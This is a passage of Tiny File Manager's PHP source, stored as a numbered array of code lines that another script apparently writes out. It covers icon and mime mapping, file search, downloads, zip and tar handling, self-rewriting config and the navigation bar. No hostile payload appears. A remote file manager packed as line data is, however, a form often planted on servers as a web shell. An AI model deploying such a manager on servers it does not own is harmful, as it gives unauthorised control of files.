'fa fa-music';", 2743 => "            break;", 2744 => "        case 'm3u':", 2745 => "        case 'm3u8':", 2746 => "        case 'pls':", 2747 => "        case 'cue':", 2748 => "        case 'xspf':", 2749 => "            \$img = 'fa fa-headphones';", 2750 => "            break;", 2751 => "        case 'avi':", 2752 => "        case 'mpg':", 2753 => "        case 'mpeg':", 2754 => "        case 'mp4':", 2755 => "        case 'm4v':", 2756 => "        case 'flv':", 2757 => "        case 'f4v':", 2758 => "        case 'ogm':", 2759 => "        case 'ogv':", 2760 => "        case 'mov':", 2761 => "        case 'mkv':", 2762 => "        case '3gp':", 2763 => "        case 'asf':", 2764 => "        case 'wmv':", 2765 => "            \$img = 'fa fa-file-video-o';", 2766 => "            break;", 2767 => "        case 'eml':", 2768 => "        case 'msg':", 2769 => "            \$img = 'fa fa-envelope-o';", 2770 => "            break;", 2771 => "        case 'xls':", 2772 => "        case 'xlsx':", 2773 => "        case 'ods':", 2774 => "            \$img = 'fa fa-file-excel-o';", 2775 => "            break;", 2776 => "        case 'csv':", 2777 => "            \$img = 'fa fa-file-text-o';", 2778 => "            break;", 2779 => "        case 'bak':", 2780 => "        case 'swp':", 2781 => "            \$img = 'fa fa-clipboard';", 2782 => "            break;", 2783 => "        case 'doc':", 2784 => "        case 'docx':", 2785 => "        case 'odt':", 2786 => "            \$img = 'fa fa-file-word-o';", 2787 => "            break;", 2788 => "        case 'ppt':", 2789 => "        case 'pptx':", 2790 => "            \$img = 'fa fa-file-powerpoint-o';", 2791 => "            break;", 2792 => "        case 'ttf':", 2793 => "        case 'ttc':", 2794 => "        case 'otf':", 2795 => "        case 'woff':", 2796 => "        case 'woff2':", 2797 => "        case 'eot':", 2798 => "        case 'fon':", 2799 => "            \$img = 'fa fa-font';", 2800 => "            break;", 2801 => "        case 'pdf':", 2802 => "            \$img = 'fa fa-file-pdf-o';", 2803 => "            break;", 2804 => "        case 'psd':", 2805 => "        case 'ai':", 2806 => "        case 'eps':", 2807 => "        case 'fla':", 2808 => "        case 'swf':", 2809 => "            \$img = 'fa fa-file-image-o';", 2810 => "            break;", 2811 => "        case 'exe':", 2812 => "        case 'msi':", 2813 => "            \$img = 'fa fa-file-o';", 2814 => "            break;", 2815 => "        case 'bat':", 2816 => "            \$img = 'fa fa-terminal';", 2817 => "            break;", 2818 => "        default:", 2819 => "            \$img = 'fa fa-info-circle';", 2820 => "    }", 2821 => "", 2822 => "    return \$img;", 2823 => "}", 2824 => "", 2825 => "/**", 2826 => " * Get image files extensions", 2827 => " * @return array", 2828 => " */", 2829 => "function fm_get_image_exts()", 2830 => "{", 2831 => "    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');", 2832 => "}", 2833 => "", 2834 => "/**", 2835 => " * Get video files extensions", 2836 => " * @return array", 2837 => " */", 2838 => "function fm_get_video_exts()", 2839 => "{", 2840 => "    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');", 2841 => "}", 2842 => "", 2843 => "/**", 2844 => " * Get audio files extensions", 2845 => " * @return array", 2846 => " */", 2847 => "function fm_get_audio_exts()", 2848 => "{", 2849 => "    return array('wav', 'mp3', 'ogg', 'm4a');", 2850 => "}", 2851 => "", 2852 => "/**", 2853 => " * Get text file extensions", 2854 => " * @return array", 2855 => " */", 2856 => "function fm_get_text_exts()", 2857 => "{", 2858 => "    return array(", 2859 => "        'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config',", 2860 => "        'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue',", 2861 => "        'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py',", 2862 => "        'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi'", 2863 => "    );", 2864 => "}", 2865 => "", 2866 => "/**", 2867 => " * Get mime types of text files", 2868 => " * @return array", 2869 => " */", 2870 => "function fm_get_text_mimes()", 2871 => "{", 2872 => "    return array(", 2873 => "        'application/xml',", 2874 => "        'application/javascript',", 2875 => "        'application/x-javascript',", 2876 => "        'image/svg+xml',", 2877 => "        'message/rfc822',", 2878 => "    );", 2879 => "}", 2880 => "", 2881 => "/**", 2882 => " * Get file names of text files w/o extensions", 2883 => " * @return array", 2884 => " */", 2885 => "function fm_get_text_names()", 2886 => "{", 2887 => "    return array(", 2888 => "        'license',", 2889 => "        'readme',", 2890 => "        'authors',", 2891 => "        'contributors',", 2892 => "        'changelog',", 2893 => "    );", 2894 => "}", 2895 => "", 2896 => "/**", 2897 => " * Get online docs viewer supported files extensions", 2898 => " * @return array", 2899 => " */", 2900 => "function fm_get_onlineViewer_exts()", 2901 => "{", 2902 => "    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');", 2903 => "}", 2904 => "", 2905 => "function fm_get_file_mimes(\$extension)", 2906 => "{", 2907 => "    \$fileTypes['swf'] = 'application/x-shockwave-flash';", 2908 => "    \$fileTypes['pdf'] = 'application/pdf';", 2909 => "    \$fileTypes['exe'] = 'application/octet-stream';", 2910 => "    \$fileTypes['zip'] = 'application/zip';", 2911 => "    \$fileTypes['doc'] = 'application/msword';", 2912 => "    \$fileTypes['xls'] = 'application/vnd.ms-excel';", 2913 => "    \$fileTypes['ppt'] = 'application/vnd.ms-powerpoint';", 2914 => "    \$fileTypes['gif'] = 'image/gif';", 2915 => "    \$fileTypes['png'] = 'image/png';", 2916 => "    \$fileTypes['jpeg'] = 'image/jpg';", 2917 => "    \$fileTypes['jpg'] = 'image/jpg';", 2918 => "    \$fileTypes['webp'] = 'image/webp';", 2919 => "    \$fileTypes['avif'] = 'image/avif';", 2920 => "    \$fileTypes['rar'] = 'application/rar';", 2921 => "", 2922 => "    \$fileTypes['ra'] = 'audio/x-pn-realaudio';", 2923 => "    \$fileTypes['ram'] = 'audio/x-pn-realaudio';", 2924 => "    \$fileTypes['ogg'] = 'audio/x-pn-realaudio';", 2925 => "", 2926 => "    \$fileTypes['wav'] = 'video/x-msvideo';", 2927 => "    \$fileTypes['wmv'] = 'video/x-msvideo';", 2928 => "    \$fileTypes['avi'] = 'video/x-msvideo';", 2929 => "    \$fileTypes['asf'] = 'video/x-msvideo';", 2930 => "    \$fileTypes['divx'] = 'video/x-msvideo';", 2931 => "", 2932 => "    \$fileTypes['mp3'] = 'audio/mpeg';", 2933 => "    \$fileTypes['mp4'] = 'audio/mpeg';", 2934 => "    \$fileTypes['mpeg'] = 'video/mpeg';", 2935 => "    \$fileTypes['mpg'] = 'video/mpeg';", 2936 => "    \$fileTypes['mpe'] = 'video/mpeg';", 2937 => "    \$fileTypes['mov'] = 'video/quicktime';", 2938 => "    \$fileTypes['swf'] = 'video/quicktime';", 2939 => "    \$fileTypes['3gp'] = 'video/quicktime';", 2940 => "    \$fileTypes['m4a'] = 'video/quicktime';", 2941 => "    \$fileTypes['aac'] = 'video/quicktime';", 2942 => "    \$fileTypes['m3u'] = 'video/quicktime';", 2943 => "", 2944 => "    \$fileTypes['php'] = ['application/x-php'];", 2945 => "    \$fileTypes['html'] = ['text/html'];", 2946 => "    \$fileTypes['txt'] = ['text/plain'];", 2947 => "    //Unknown mime-types should be 'application/octet-stream'", 2948 => "    if(empty(\$fileTypes[\$extension])) {", 2949 => "      \$fileTypes[\$extension] = ['application/octet-stream'];", 2950 => "    }", 2951 => "    return \$fileTypes[\$extension];", 2952 => "}", 2953 => "", 2954 => "/**", 2955 => " * This function scans the files and folder recursively, and return matching files", 2956 => " * @param string \$dir", 2957 => " * @param string \$filter", 2958 => " * @return json", 2959 => " */", 2960 => " function scan(\$dir, \$filter = '') {", 2961 => "    \$path = FM_ROOT_PATH.'/'.\$dir;", 2962 => "     if(\$dir) {", 2963 => "         \$ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator(\$path));", 2964 => "         \$rii = new RegexIterator(\$ite, \"/(\" . \$filter . \")/i\");", 2965 => "", 2966 => "         \$files = array();", 2967 => "         foreach (\$rii as \$file) {", 2968 => "             if (!\$file->isDir()) {", 2969 => "                 \$fileName = \$file->getFilename();", 2970 => "                 \$location = str_replace(FM_ROOT_PATH, '', \$file->getPath());", 2971 => "                 \$files[] = array(", 2972 => "                     \"name\" => \$fileName,", 2973 => "                     \"type\" => \"file\",", 2974 => "                     \"path\" => \$location,", 2975 => "                 );", 2976 => "             }", 2977 => "         }", 2978 => "         return \$files;", 2979 => "     }", 2980 => "}", 2981 => "", 2982 => "/*", 2983 => "Parameters: downloadFile(File Location, File Name,", 2984 => "max speed, is streaming", 2985 => "If streaming - videos will show as videos, images as images", 2986 => "instead of download prompt", 2987 => "https://stackoverflow.com/a/13821992/1164642", 2988 => "*/", 2989 => "", 2990 => "function fm_download_file(\$fileLocation, \$fileName, \$chunkSize  = 1024)", 2991 => "{", 2992 => "    if (connection_status() != 0)", 2993 => "        return (false);", 2994 => "    \$extension = pathinfo(\$fileName, PATHINFO_EXTENSION);", 2995 => "", 2996 => "    \$contentType = fm_get_file_mimes(\$extension);", 2997 => "    header(\"Cache-Control: public\");", 2998 => "    header(\"Content-Transfer-Encoding: binary\\n\");", 2999 => "    header('Content-Type: \$contentType');", 3000 => "", 3001 => "    \$contentDisposition = 'attachment';", 3002 => "", 3003 => "", 3004 => "    if (strstr(\$_SERVER['HTTP_USER_AGENT'], \"MSIE\")) {", 3005 => "        \$fileName = preg_replace('/\\./', '%2e', \$fileName, substr_count(\$fileName, '.') - 1);", 3006 => "        header(\"Content-Disposition: \$contentDisposition;filename=\\\"\$fileName\\\"\");", 3007 => "    } else {", 3008 => "        header(\"Content-Disposition: \$contentDisposition;filename=\\\"\$fileName\\\"\");", 3009 => "    }", 3010 => "", 3011 => "    header(\"Accept-Ranges: bytes\");", 3012 => "    \$range = 0;", 3013 => "    \$size = filesize(\$fileLocation);", 3014 => "", 3015 => "    if (isset(\$_SERVER['HTTP_RANGE'])) {", 3016 => "        list(\$a, \$range) = explode(\"=\", \$_SERVER['HTTP_RANGE']);", 3017 => "        str_replace(\$range, \"-\", \$range);", 3018 => "        \$size2 = \$size - 1;", 3019 => "        \$new_length = \$size - \$range;", 3020 => "        header(\"HTTP/1.1 206 Partial Content\");", 3021 => "        header(\"Content-Length: \$new_length\");", 3022 => "        header(\"Content-Range: bytes \$range\$size2/\$size\");", 3023 => "    } else {", 3024 => "        \$size2 = \$size - 1;", 3025 => "        header(\"Content-Range: bytes 0-\$size2/\$size\");", 3026 => "        header(\"Content-Length: \" . \$size);", 3027 => "    }", 3028 => "", 3029 => "    if (\$size == 0) {", 3030 => "        die('Zero byte file! Aborting download');", 3031 => "    }", 3032 => "    @ini_set('magic_quotes_runtime', 0);", 3033 => "    \$fp = fopen(\"\$fileLocation\", \"rb\");", 3034 => "", 3035 => "    fseek(\$fp, \$range);", 3036 => "", 3037 => "    while (!feof(\$fp) and (connection_status() == 0)) {", 3038 => "        set_time_limit(0);", 3039 => "        print(@fread(\$fp, 1024*\$chunkSize));", 3040 => "        flush();", 3041 => "        ob_flush();", 3042 => "        // sleep(1);", 3043 => "    }", 3044 => "    fclose(\$fp);", 3045 => "", 3046 => "    return ((connection_status() == 0) and !connection_aborted());", 3047 => "}", 3048 => "", 3049 => "function fm_get_theme() {", 3050 => "    \$result = '';", 3051 => "    if(FM_THEME == \"dark\") {", 3052 => "        \$result = \"text-white bg-dark\";", 3053 => "    }", 3054 => "    return \$result;", 3055 => "}", 3056 => "", 3057 => "/**", 3058 => " * Class to work with zip files (using ZipArchive)", 3059 => " */", 3060 => "class FM_Zipper", 3061 => "{", 3062 => "    private \$zip;", 3063 => "", 3064 => "    public function __construct()", 3065 => "    {", 3066 => "        \$this->zip = new ZipArchive();", 3067 => "    }", 3068 => "", 3069 => "    /**", 3070 => "     * Create archive with name \$filename and files \$files (RELATIVE PATHS!)", 3071 => "     * @param string \$filename", 3072 => "     * @param array|string \$files", 3073 => "     * @return bool", 3074 => "     */", 3075 => "    public function create(\$filename, \$files)", 3076 => "    {", 3077 => "        \$res = \$this->zip->open(\$filename, ZipArchive::CREATE);", 3078 => "        if (\$res !== true) {", 3079 => "            return false;", 3080 => "        }", 3081 => "        if (is_array(\$files)) {", 3082 => "            foreach (\$files as \$f) {", 3083 => "                if (!\$this->addFileOrDir(\$f)) {", 3084 => "                    \$this->zip->close();", 3085 => "                    return false;", 3086 => "                }", 3087 => "            }", 3088 => "            \$this->zip->close();", 3089 => "            return true;", 3090 => "        } else {", 3091 => "            if (\$this->addFileOrDir(\$files)) {", 3092 => "                \$this->zip->close();", 3093 => "                return true;", 3094 => "            }", 3095 => "            return false;", 3096 => "        }", 3097 => "    }", 3098 => "", 3099 => "    /**", 3100 => "     * Extract archive \$filename to folder \$path (RELATIVE OR ABSOLUTE PATHS)", 3101 => "     * @param string \$filename", 3102 => "     * @param string \$path", 3103 => "     * @return bool", 3104 => "     */", 3105 => "    public function unzip(\$filename, \$path)", 3106 => "    {", 3107 => "        \$res = \$this->zip->open(\$filename);", 3108 => "        if (\$res !== true) {", 3109 => "            return false;", 3110 => "        }", 3111 => "        if (\$this->zip->extractTo(\$path)) {", 3112 => "            \$this->zip->close();", 3113 => "            return true;", 3114 => "        }", 3115 => "        return false;", 3116 => "    }", 3117 => "", 3118 => "    /**", 3119 => "     * Add file/folder to archive", 3120 => "     * @param string \$filename", 3121 => "     * @return bool", 3122 => "     */", 3123 => "    private function addFileOrDir(\$filename)", 3124 => "    {", 3125 => "        if (is_file(\$filename)) {", 3126 => "            return \$this->zip->addFile(\$filename);", 3127 => "        } elseif (is_dir(\$filename)) {", 3128 => "            return \$this->addDir(\$filename);", 3129 => "        }", 3130 => "        return false;", 3131 => "    }", 3132 => "", 3133 => "    /**", 3134 => "     * Add folder recursively", 3135 => "     * @param string \$path", 3136 => "     * @return bool", 3137 => "     */", 3138 => "    private function addDir(\$path)", 3139 => "    {", 3140 => "        if (!\$this->zip->addEmptyDir(\$path)) {", 3141 => "            return false;", 3142 => "        }", 3143 => "        \$objects = scandir(\$path);", 3144 => "        if (is_array(\$objects)) {", 3145 => "            foreach (\$objects as \$file) {", 3146 => "                if (\$file != '.' && \$file != '..') {", 3147 => "                    if (is_dir(\$path . '/' . \$file)) {", 3148 => "                        if (!\$this->addDir(\$path . '/' . \$file)) {", 3149 => "                            return false;", 3150 => "                        }", 3151 => "                    } elseif (is_file(\$path . '/' . \$file)) {", 3152 => "                        if (!\$this->zip->addFile(\$path . '/' . \$file)) {", 3153 => "                            return false;", 3154 => "                        }", 3155 => "                    }", 3156 => "                }", 3157 => "            }", 3158 => "            return true;", 3159 => "        }", 3160 => "        return false;", 3161 => "    }", 3162 => "}", 3163 => "", 3164 => "/**", 3165 => " * Class to work with Tar files (using PharData)", 3166 => " */", 3167 => "class FM_Zipper_Tar", 3168 => "{", 3169 => "    private \$tar;", 3170 => "", 3171 => "    public function __construct()", 3172 => "    {", 3173 => "        \$this->tar = null;", 3174 => "    }", 3175 => "", 3176 => "    /**", 3177 => "     * Create archive with name \$filename and files \$files (RELATIVE PATHS!)", 3178 => "     * @param string \$filename", 3179 => "     * @param array|string \$files", 3180 => "     * @return bool", 3181 => "     */", 3182 => "    public function create(\$filename, \$files)", 3183 => "    {", 3184 => "        \$this->tar = new PharData(\$filename);", 3185 => "        if (is_array(\$files)) {", 3186 => "            foreach (\$files as \$f) {", 3187 => "                if (!\$this->addFileOrDir(\$f)) {", 3188 => "                    return false;", 3189 => "                }", 3190 => "            }", 3191 => "            return true;", 3192 => "        } else {", 3193 => "            if (\$this->addFileOrDir(\$files)) {", 3194 => "                return true;", 3195 => "            }", 3196 => "            return false;", 3197 => "        }", 3198 => "    }", 3199 => "", 3200 => "    /**", 3201 => "     * Extract archive \$filename to folder \$path (RELATIVE OR ABSOLUTE PATHS)", 3202 => "     * @param string \$filename", 3203 => "     * @param string \$path", 3204 => "     * @return bool", 3205 => "     */", 3206 => "    public function unzip(\$filename, \$path)", 3207 => "    {", 3208 => "        \$res = \$this->tar->open(\$filename);", 3209 => "        if (\$res !== true) {", 3210 => "            return false;", 3211 => "        }", 3212 => "        if (\$this->tar->extractTo(\$path)) {", 3213 => "            return true;", 3214 => "        }", 3215 => "        return false;", 3216 => "    }", 3217 => "", 3218 => "    /**", 3219 => "     * Add file/folder to archive", 3220 => "     * @param string \$filename", 3221 => "     * @return bool", 3222 => "     */", 3223 => "    private function addFileOrDir(\$filename)", 3224 => "    {", 3225 => "        if (is_file(\$filename)) {", 3226 => "            try {", 3227 => "                \$this->tar->addFile(\$filename);", 3228 => "                return true;", 3229 => "            } catch (Exception \$e) {", 3230 => "                return false;", 3231 => "            }", 3232 => "        } elseif (is_dir(\$filename)) {", 3233 => "            return \$this->addDir(\$filename);", 3234 => "        }", 3235 => "        return false;", 3236 => "    }", 3237 => "", 3238 => "    /**", 3239 => "     * Add folder recursively", 3240 => "     * @param string \$path", 3241 => "     * @return bool", 3242 => "     */", 3243 => "    private function addDir(\$path)", 3244 => "    {", 3245 => "        \$objects = scandir(\$path);", 3246 => "        if (is_array(\$objects)) {", 3247 => "            foreach (\$objects as \$file) {", 3248 => "                if (\$file != '.' && \$file != '..') {", 3249 => "                    if (is_dir(\$path . '/' . \$file)) {", 3250 => "                        if (!\$this->addDir(\$path . '/' . \$file)) {", 3251 => "                            return false;", 3252 => "                        }", 3253 => "                    } elseif (is_file(\$path . '/' . \$file)) {", 3254 => "                        try {", 3255 => "                            \$this->tar->addFile(\$path . '/' . \$file);", 3256 => "                        } catch (Exception \$e) {", 3257 => "                            return false;", 3258 => "                        }", 3259 => "                    }", 3260 => "                }", 3261 => "            }", 3262 => "            return true;", 3263 => "        }", 3264 => "        return false;", 3265 => "    }", 3266 => "}", 3267 => "", 3268 => "", 3269 => "", 3270 => "/**", 3271 => " * Save Configuration", 3272 => " */", 3273 => " class FM_Config", 3274 => "{", 3275 => "     var \$data;", 3276 => "", 3277 => "    function __construct()", 3278 => "    {", 3279 => "        global \$root_path, \$root_url, \$CONFIG;", 3280 => "        \$fm_url = \$root_url.\$_SERVER[\"PHP_SELF\"];", 3281 => "        \$this->data = array(", 3282 => "            'lang' => 'en',", 3283 => "            'error_reporting' => true,", 3284 => "            'show_hidden' => true", 3285 => "        );", 3286 => "        \$data = false;", 3287 => "        if (strlen(\$CONFIG)) {", 3288 => "            \$data = fm_object_to_array(json_decode(\$CONFIG));", 3289 => "        } else {", 3290 => "            \$msg = 'Tiny File Manager<br>Error: Cannot load configuration';", 3291 => "            if (substr(\$fm_url, -1) == '/') {", 3292 => "                \$fm_url = rtrim(\$fm_url, '/');", 3293 => "                \$msg .= '<br>';", 3294 => "                \$msg .= '<br>Seems like you have a trailing slash on the URL.';", 3295 => "                \$msg .= '<br>Try this link: <a href=\"' . \$fm_url . '\">' . \$fm_url . '</a>';", 3296 => "            }", 3297 => "            die(\$msg);", 3298 => "        }", 3299 => "        if (is_array(\$data) && count(\$data)) \$this->data = \$data;", 3300 => "        else \$this->save();", 3301 => "    }", 3302 => "", 3303 => "    function save()", 3304 => "    {", 3305 => "        \$fm_file = __FILE__;", 3306 => "        \$var_name = '\$CONFIG';", 3307 => "        \$var_value = var_export(json_encode(\$this->data), true);", 3308 => "        \$config_string = \"<?php\" . chr(13) . chr(10) . \"//Default Configuration\".chr(13) . chr(10).\"\$var_name = \$var_value;\" . chr(13) . chr(10);", 3309 => "        if (is_writable(\$fm_file)) {", 3310 => "            \$lines = file(\$fm_file);", 3311 => "            if (\$fh = @fopen(\$fm_file, \"w\")) {", 3312 => "                @fputs(\$fh, \$config_string, strlen(\$config_string));", 3313 => "                for (\$x = 3; \$x < count(\$lines); \$x++) {", 3314 => "                    @fputs(\$fh, \$lines[\$x], strlen(\$lines[\$x]));", 3315 => "                }", 3316 => "                @fclose(\$fh);", 3317 => "            }", 3318 => "        }", 3319 => "    }", 3320 => "}", 3321 => "", 3322 => "", 3323 => "", 3324 => "//--- templates functions", 3325 => "", 3326 => "/**", 3327 => " * Show nav block", 3328 => " * @param string \$path", 3329 => " */", 3330 => "function fm_show_nav_path(\$path)", 3331 => "{", 3332 => "    global \$lang, \$sticky_navbar;", 3333 => "    \$isStickyNavBar = \$sticky_navbar ? 'fixed-top' : '';", 3334 => "    \$getTheme = fm_get_theme();", 3335 => "    \$getTheme .= \" navbar-light\";", 3336 => "    if(FM_THEME == \"dark\") {", 3337 => "        \$getTheme .= \" navbar-dark\";", 3338 => "    } else {", 3339 => "        \$getTheme .= \" bg-white\";", 3340 => "    }", 3341 => "    ?>", 3342 => "    <nav class=\"navbar navbar-expand-lg <?php echo \$getTheme; ?> mb-4 main-nav <?php echo \$isStickyNavBar ?>\">", 3343 => "        <a class=\"navbar-brand\" href=\"\"> <?php echo lng('AppTitle') ?> </a>", 3344 => "        <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#navbarSupportedContent\" aria-controls=\"navbarSupportedContent\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">", 3345 => "            <span class=\"navbar-toggler-icon\"></span>", 3346 => "        </button>", 3347 => "        <div class=\"collapse navbar-collapse\" id=\"navbarSupportedContent\">", 3348 => "", 3349 => "            <?php", 3350 => "            \$path = fm_clean_path(\$path);", 3351 => "            \$root_url = \"<a href='?p='><i class='fa fa-home' aria-hidden='true' title='\" . FM_ROOT_PATH . \"'></i></a>\";", 3352 => "            \$sep = '<i class=\"bread-crumb\"> / </i>';", 3353 => "            if (\$path != '') {", 3354 => "                \$exploded = explode('/', \$path);", 3355 => "                \$count = count(\$exploded);", 3356 => "                \$array = array();", 3357 => "                \$parent = '';", 3358 => "                for (\$i = 0; \$i < \$count; \$i++) {", 3359 => "                    \$parent = trim(\$parent . '/' . \$exploded[\$i], '/');", 3360 => "                    \$parent_enc = urlencode(\$parent);", 3361 => "                    \$array[] = \"<a href='?p={\$parent_enc}'>\" . fm_enc(fm_convert_win(\$exploded[\$i])) . \"</a>\";", 3362 => "                }", 3363 => "                \$root_url .= \$sep . implode(\$sep, \$array);", 3364 => "            }", 3365 => "            echo '<div class=\"col-xs-6 col-sm-5\">' . \$root_url . '</div>';", 3366 => "            ?>", 3367 => "", 3368 => "            <div class=\"col-xs-6 col-sm-7 text-right\">", 3369 => "                <ul class=\"navbar-nav mr-auto float-right <?php echo fm_get_theme();  ?>\">", 3370 => "                    <li class=\"nav-item mr-2\">", 3371 => "                        <div class=\"input-group input-group-sm mr-1\" style=\"margin-top:4px;\">", 3372 => "                            <input type=\"text\" class=\"form-control\" placeholder=\"<?php echo lng('Search') ?>\" aria-label=\"<?php echo lng('Search') ?>\" aria-describedby=\"search-addon2\" id=\"search-addon\">", 3373 => "                            <div class=\"input-group-append\">", 3374 => "                                <span class=\"input-group-text\" id=\"search-addon2\"><i class=\"fa fa-search\"></i></span>", 3375 => "                            </div>", 3376 => "                            <div class=\"input-group-append btn-group\">", 3377 => "                                <span class=\"input-group-text dropdown-toggle\" id=\"search-addon2\" data-toggle=\"dropdown\" aria-haspopup=\"true\" aria-expanded=\"false\"></span>", 3378 => "                                  <div class=\"dropdown-menu dropdown-menu-right\">", 3379 => "                                    <a class=\"dropdown-item\" href=\"<?php echo \$path2 = \$path ? \$path : '.'; ?>\" id=\"js-search-modal\" data-toggle=\"modal\" data-target=\"#searchModal\"><?php echo lng('Advanced Search') ?></a>", 3380 => "                                  </div>", 3381 => "                            </div>", 3382 => "                        </div>", 3383 => "                    </li>", 3384 => "                    <?php if (!FM_READONLY): ?>", 3385 => "                    <li class=\"nav-item\">", 3386 => "                        <a title=\"<?php echo lng('Upload') ?>\" class=\"nav-link\" href=\"?p=<?php echo urlencode(FM_PATH) ?>&amp;upload\"><i class=\"fa fa-cloud-upload\" aria-hidden=\"true\"></i> <?php echo lng('Upload') ?></a>", 3387 => "                    </li>", 3388 => "                    <li class=\"nav-item\">", 3389 => "                        <a title=\"<?php echo lng('NewItem') ?>\" class=\"nav-link\" href=\"#createNewItem\" data-toggle=\"modal\" data-target=\"#createNewItem\"><i class=\"fa fa-plus-square\"></i> <?php echo lng('NewItem') ?></a>", 3390 => "                    </li>", 3391 => "                    <?php endif; ?>", 3392 => "                    <?php if (FM_USE_AUTH): ?>", 3393 => "                    <li class=\"nav-item avatar dropdown\">", 3394 => "                        <a class=\"nav-link dropdown-toggle\" id=\"navbarDropdownMenuLink-5\" data-toggle=\"dropdown\" aria-haspopup=\"true\" aria-expanded=\"false\"> <i class=\"fa fa-user-circle\"></i> <?php if(isset(\$_SESSION[FM_SESSION_ID]['logged'])) { echo \$_SESSION[FM_SESSION_ID]['logged']; } ?></a>", 3395 => "                        <div class=\"dropdown-menu dropdown-menu-right <?php echo fm_get_theme(); ?>\" aria-labelledby=\"navbarDropdownMenuLink-5\">", 3396 => "                            <?php if (!FM_READONLY): ?>", 3397 => "                            <a title=\"<?php echo lng('Settings') ?>\" class=\"dropdown-item nav-link\" href=\"?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1\"><i class=\"fa fa-cog\" aria-hidden=\"true\"></i> <?php echo lng('Settings') ?></a>", 3398 => "                            <?php endif ?>", 3399 => "                            <a title=\"<?php echo lng('Help') ?>\" class=\"dropdown-item nav-link\" href=\"?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2\"><i class=\"fa fa-exclamation-circle\" aria-hidden=\"true\"></i> <?php echo lng('Help') ?></a>", 3400 => "                            <a title=\"<?php echo lng('Logout') ?>\" class=\"dropdown-item nav-link\" href=\"?logout=1\"><i class=\"fa fa-sign-out\" aria-hidden=\"true\"></i> <?php echo lng('Logout') ?></a>", 3401 => "                        </div>", 3402 => "                    </li>", 3403 => "                    <?php else: ?>", 3404 => "                        <?php if (!FM_READONLY): ?>", 3405 => "                            <li class=\"nav-item\">", 3406 => "                                <a title=\"<?php echo lng('Settings') ?>\" class=\"dropdown-item nav-link\" href=\"?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1\"><i class=\"fa fa-cog\" aria-hidden=\"true\"></i> <?php echo lng('Settings') ?></a>", 3407 => "                            </li>", 3408 => "                        <?php endif; ?>", 3409 => "                    <?php endif; ?>", 3410 => "                </ul>", 3411 => "            </div>", 3412 => "        </div>", 3413 => "    </nav>", 3414 => "    <?php", 3415 => "}", 3416 => "", 3417 => "/**", 3418 => " * Show message from session", 3419 => " */", 3420 => "function fm_show_message()", 3421 => "{", 3422 => "    if (isset(\$_SESSION[FM_SESSION_ID]['message'])) {", 3423 => "        \$class = isset(\$_SESSION[FM_SESSION_ID]['status']) ? \$_SESSION[FM_SESSION_ID]['status'] : 'ok';", 3424 => "        echo '<p class=\"message ' . \$class . '\">' . \$_SESSION[FM_SESSION_ID]['message'] . '</p>';", 3425 => "        unset(\$_SESSION[FM_SESSION_ID]['message']);", 3426 => "        unset(\$_SESSION[FM_SESSION_ID]['status']);", 3427 => "    }", 3428 => "}", 3429 => "", 3430 => "/**", 3431 => " * Show page header in Login Form", 3432 => " */", 3433 => "function fm_show_header_login()", 3434 => "{", 3435 => "\$sprites_ver = '20160315';", 3436 => "header(\"Content-Type: text/html; charset=utf-8\");", 3437 => "header(\"Expires: Sat, 26 Jul 1997 05:00:00 GMT\");", 3438 => "header(\"Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\");", 3439 => "header(\"Pragma: no-cache\");", 3440 => "", 3441 => "global \$lang, \$root_url, \$favicon_path;", 3442 => "?>", 3443 => "<!DOCTYPE html>", 3444 => "<html lang=\"en\">", 3445 => "<head>", 3446 => "    <meta charset=\"utf-8\">", 3447 => "    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">", 3448 => "    <meta name=\"description\" content=\"Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager\">", 3449 => "    <meta name=\"author\" content=\"CCP Programmers\">", 3450 => "    <meta name=\"robots\" content=\"noindex, nofollow\">", 3451 => "    <meta name=\"googlebot\" content=\"noindex\">", 3452 => "    <?php if(\$favicon_path) { echo '<link rel=\"icon\" href=\"'.fm_enc(\$favicon_path).'\" type=\"image/png\">'; } ?>", 3453 => "    <title><?php echo fm_enc(APP_TITLE) ?></title>", 3454 => "    <link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css\">", 3455 => "    <style>", 3456 => "        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 